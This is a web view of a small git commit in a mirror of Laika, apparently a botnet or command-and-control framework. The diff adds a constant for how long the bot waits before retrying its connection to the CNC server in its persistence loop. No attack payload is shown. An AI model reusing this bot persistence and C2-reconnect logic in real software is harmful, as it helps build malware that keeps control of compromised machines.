1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-11-08 22:30:05 +00:00

VMBoxGen: minor refactoring

This commit is contained in:
2022-10-08 18:32:33 -05:00
parent 5076e4c7b9
commit 7c4a5ddc8c
4 changed files with 36 additions and 24 deletions

View File

@@ -9,6 +9,10 @@
#include <stdio.h>
/* if LAIKA_PERSISTENCE is defined, this will specify the timeout for
retrying to connect to the CNC server */
#define LAIKA_RETRY_CONNECT 5
#ifdef _WIN32
# ifndef LAIKA_DEBUG_BUILD
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
@@ -54,9 +58,9 @@ int main()
laikaB_freeBot(bot);
#ifdef LAIKA_PERSISTENCE
# ifdef _WIN32
Sleep(5000);
Sleep(LAIKA_RETRY_CONNECT*1000);
# else
sleep(5);
sleep(LAIKA_RETRY_CONNECT);
# endif
} while (1);